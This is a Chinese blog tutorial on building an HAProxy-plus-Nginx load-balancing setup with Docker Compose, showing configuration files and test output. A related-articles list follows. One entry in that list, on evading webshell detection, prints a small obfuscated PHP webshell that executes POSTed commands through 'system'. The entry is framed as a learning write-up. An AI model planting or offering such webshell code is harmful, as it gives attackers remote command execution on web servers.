企业级使用docker实现负载均衡

利用Docker容器编排完成haproxy和nginx负载均衡架构实施

利用 Docker 编排实现 HAProxy 和 Nginx 负载均衡架构的介绍:

        首先,使用 Docker Compose 进行容器编排。创建一个 haproxy.yml 文件,定义 HAProxy 和 Nginx 服务。HAProxy 容器作为前端负载均衡器,监听特定端口,如 80 端口。它配置了后端服务器组,将请求分发到多个 Nginx 容器。每个 Nginx 容器作为后端服务器,负责处理实际的请求。 通过配置 HAProxy,可以设置负载均衡算法,如轮询或最少连接数等。同时,可以配置健康检查,确保只有正常运行的 Nginx 实例接收请求。 启动容器编排后,请求首先到达 HAProxy,它根据配置的策略将请求转发给 Nginx 容器。这样可以实现高可用和高性能的负载均衡架构,提高系统的可靠性和扩展性。利用 Docker 编排简化了部署过程,方便管理和维护。

准备工作

主机名IP
docker.exam.com172.25.254.100

软件需要准备docker,haproxy和nginx

实验过程

利用docker compose来配置yml文件

[root@docker-node1 test]# vim haproxy.yml 
services:web1:image: nginx:latestrestart: alwayscontainer_name: webserver1networks:- mynet1expose:- 80volumes:- data_web1:/usr/share/nginx/htmlweb2:image: nginx:latestrestart: alwayscontainer_name: webserver2networks:- mynet1expose:- 80volumes:- data_web2:/usr/share/nginx/htmlhaproxy:image: haproxy:2.3restart: alwayscontainer_name: haproxynetworks:- mynet1- mynet2volumes:- /var/lib/docker/volumes/conf/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfgports:- "80:80"networks:mynet1:driver: bridgemynet2:driver: bridgevolumes:data_web1:name: data_web1data_web2:name: data_web2

设置haproxy

 

配置haproxy文件

这里设置负载均衡算法为轮询

[root@docker-node1 ~]# cd /var/lib/docker/volumes/conf/
[root@docker-node1 conf]# vim haproxy.cfg
listen webclusterbind *:80balance roundrobinserver web1 webserver1:80 check inter 3 fall 3 rise 5server web2 webserver2:80 check inter 3 fall 3 rise 5

写入网页内容,方便测试负载均衡时观测结果 

[root@docker-node1 test]# echo webserver1 > /var/lib/docker/volumes/data_web1/_data/index.html
[root@docker-node1 test]# echo webserver2 > /var/lib/docker/volumes/data_web2/_data/index.html

测试结果

[root@docker-node1 test]# docker compose -f haproxy.yml up -d
[+] Running 5/5✔ Network test_mynet1   Created                                                   0.1s ✔ Network test_mynet2   Created                                                   0.1s ✔ Container haproxy     Started                                                   1.0s ✔ Container webserver1  Started                                                   0.9s ✔ Container webserver2  Started                                                   0.8s [root@docker-node1 test]# docker compose ps
NAME         IMAGE          COMMAND                  SERVICE   CREATED         STATUS         PORTS
haproxy      haproxy:2.3    "docker-entrypoint.s…"   haproxy   5 seconds ago   Up 4 seconds   0.0.0.0:80->80/tcp, :::80->80/tcp
webserver1   nginx:latest   "/docker-entrypoint.…"   web1      5 seconds ago   Up 5 seconds   80/tcp
webserver2   nginx:latest   "/docker-entrypoint.…"   web2      5 seconds ago   Up 5 seconds   80/tcp
[root@docker-node1 test]# curl 172.25.254.100
webserver1
[root@docker-node1 test]# curl 172.25.254.100
webserver2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/414349.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言 | Leetcode C语言题解之第387题字符串中的第一个唯一字符

题目&#xff1a; 题解&#xff1a; struct hashTable {int key;int val;UT_hash_handle hh; };int firstUniqChar(char* s) {struct hashTable* position NULL;int que[26][2], left 0, right 0;int n strlen(s);for (int i 0; i < n; i) {int ikey s[i];struct has…

基于django+vue+uniapp的摄影竞赛小程序

开发语言&#xff1a;Python框架&#xff1a;djangouniappPython版本&#xff1a;python3.7.7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;PyCharm 系统展示 管理员登录 管理员主界面 教师管理 学…

CSS\JS实现页面背景气泡logo上浮效果

效果图&#xff1a; 单容器显示气泡&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Bu…

测试 UDP 端口可达性的方法

前言&#xff1a; UDP (User Datagram Protocol) 是一种无连接的传输层协议&#xff0c;它不像 TCP 那样提供确认机制来保证数据包的可靠传输。因此&#xff0c;测试 UDP 端口的可达性通常需要一些特殊的方法&#xff0c;因为传统的端口扫描工具&#xff08;如 nmap&#xff0…

linux 上传文件报错 -bash: rz:command not found

linux 上传文件报错 -bash: rz:command not found 新创建的纯净虚拟机无法上传文件安装lrzsz 新创建的纯净虚拟机无法上传文件 这个错误表明系统中没有安装 rz&#xff08;上传文件工具&#xff09;命令。 如果是在 CentOS 或 Red Hat 等基于 RPM 的系统上&#xff0c;可以使用…

10款文档管理系统,助力降本增效

比较好用的 10 款文档管理系统推荐&#xff1a;PingCode、Worktile、语雀、联想Filez企业网盘、360亿方云、DocuPhase 、M-Files 、LogicalDOC、Revver、Box。 在现代企业环境中&#xff0c;管理大量文档和数据往往让人头疼。不仅需要维护信息的更新和可访问性&#xff0c;还要…

Truncated incorrect max_connections value: ‘999999‘

MySQL 的最大连接数&#xff08;max_connections&#xff09;可以设置的上限值在不同的资料中有所不同。以下是一些关键信息&#xff1a; 默认值和默认范围&#xff1a; MySQL 的默认最大连接数通常为 100 。一些资料提到默认值为 151 。 最大允许值&#xff1a; MySQL 的最大…

第8讲 ,ISP 串口程序下载

1 硬件的连接 需要使用 串口下载软件。 flymcu 这是 正点原子的 自启动电路。 2 stm32 的串口下载的原理 stm32 下载 只能是 串口一 &#xff0c; 也就是 PA9&#xff0c; PA10 3 然后是 stm32 的启动顺序 这里使用的是 第二种的 启动模式&#xff0c; 也就是 通过 串口进行烧…

Leetcode3244. 新增道路查询后的最短距离 II

Every day a Leetcode 题目来源&#xff1a;3244. 新增道路查询后的最短距离 II 解法1&#xff1a;贪心 由于题目保证添加的边&#xff08;捷径&#xff09;不会交叉&#xff0c;从贪心的角度看&#xff0c;遇到捷径就走捷径是最优的。所有被跳过的城市都不可能再出现在最短…

洛科威岩棉板重塑屋面应用,以多重优势成为“优选材料”

屋面作为建筑物的“外衣”&#xff0c;不仅承载着遮风挡雨的基本功能&#xff0c;更在保温隔热、防火安全、防潮隔音等方面发挥着举足轻重的作用。然而&#xff0c;面对极端气候、自然灾害以及日益严苛的环保标准&#xff0c;传统屋面材料逐渐暴露出其局限性&#xff0c;保温效…

日系编曲:了解日系音乐 日系和声特征 设计日系和声 和弦进行摘抄

了解日系音乐 日系音乐风格多样&#xff0c;涵盖流行、摇滚、民谣、古典等多种类型。以下是部分知名的日系音乐作品、歌手及乐队&#xff1a; 作品 《First Love》是宇多田光的代表作之一&#xff0c;旋律悠扬&#xff0c;情感真挚&#xff0c;展现了初恋的美好与青涩&#xf…

easyExcel 单元格合并

需求 现在有一张员工表&#xff0c;需要将员工信息导出为excel&#xff0c;同一个部门放在一起&#xff0c;同一个工资段放在一起。 case 员工表 package com.tx.test.testeasyexcel.excel;import com.alibaba.excel.annotation.ExcelProperty; import com.alibaba.excel.anno…

HSE软件组件有哪些?如何实现HSE与主机的通信(同步/异步)?如何使用HSE提供的安全服务?

《S32G3系列芯片——Boot详解》系列——HSE软件组件有哪些&#xff1f;如何实现HSE与主机的通信&#xff08;同步/异步&#xff09;&#xff1f;如何使用HSE提供的安全服务&#xff1f; 一、HSE子系统软件组件1.1 NXP交付用户的HSE固件内容1.2 HSE固件提供的安全服务1.3 HSE固件…

最新!yolov10+deepsort的目标跟踪实现

目录 yolov10介绍——实时端到端物体检测 概述 主要功能 型号 性能 方法 一致的双重任务分配&#xff0c;实现无 NMS 培训 效率-精度驱动的整体模型设计 提高效率 精度提升 实验和结果 比较 deepsort介绍&#xff1a; yolov10结合deepsort实现目标跟踪 效果展示…

记一次学习--webshell绕过(利用清洗函数)

目录 样本 样本修改 样本 <?php $a array("t", "system"); shuffle($a); $a[0]($_POST[1]); 通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素&#xff0c;打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。 这里抓…

kubeadm部署 Kubernetes(k8s) 高可用集群【V1.28 】

kubeadm是官方社区推出的一个用于快速部署kubernetes集群的工具。 calico.yaml kubernertes-dashboard.yaml 1. 安装要求 在开始之前&#xff0c;部署Kubernetes集群机器需要满足以下几个条件&#xff1a; 10台机器&#xff0c;操作系统Openeuler22.03 LTS SP4硬件配置&…

豆包MarsCode编程助手:让编程更简单

在编程的浩瀚宇宙中&#xff0c;每一个开发者都在寻找那把能够开启高效与创意之门的钥匙。随着AI技术的飞速发展&#xff0c;智能编程助手应运而生&#xff0c;为开发者们带来了前所未有的便捷与灵感。今天&#xff0c;我们将以五子棋小游戏开发为例&#xff0c;深入解读豆包Ma…

Android 10.0 mtk平板camera2横屏预览旋转90度功能实现

1.前言 在10.0的系统rom定制化开发中,在进行一些平板等默认横屏的设备开发的过程中,需要在进入camera2的 时候,默认预览图像也是需要横屏显示的,所以就需要看下mtk的camera2的相关预览功能,然后看下进入 launcher camera的时候看下如何实现预览横屏显示 如图所示: 2.mtk平…

Android使用内容提供器(ContentProvider)实现跨程序数据共享

文章目录 Android使用内容提供器&#xff08;ContentProvider&#xff09;实现跨程序数据共享新建内容提供器DatabaseProvider修改DatabaseProvider中的代码AndroidManifest.xml文件中注册provider修改activity_main.xml中的代码修改MainActivity中的代码运行ProviderTest项目 …

WEB开发---使用HTML CSS开发网页实时显示当前日期和时间

自己刚开始学习html css知识&#xff0c;临时做个网页&#xff0c;实时显示当前日期和时间功能。 代码如下&#xff1a; test.html <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport&q…